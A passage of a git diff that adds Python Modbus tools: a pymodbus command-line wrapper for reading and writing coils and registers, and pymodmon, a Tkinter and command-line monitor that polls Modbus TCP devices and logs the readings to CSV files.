pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + 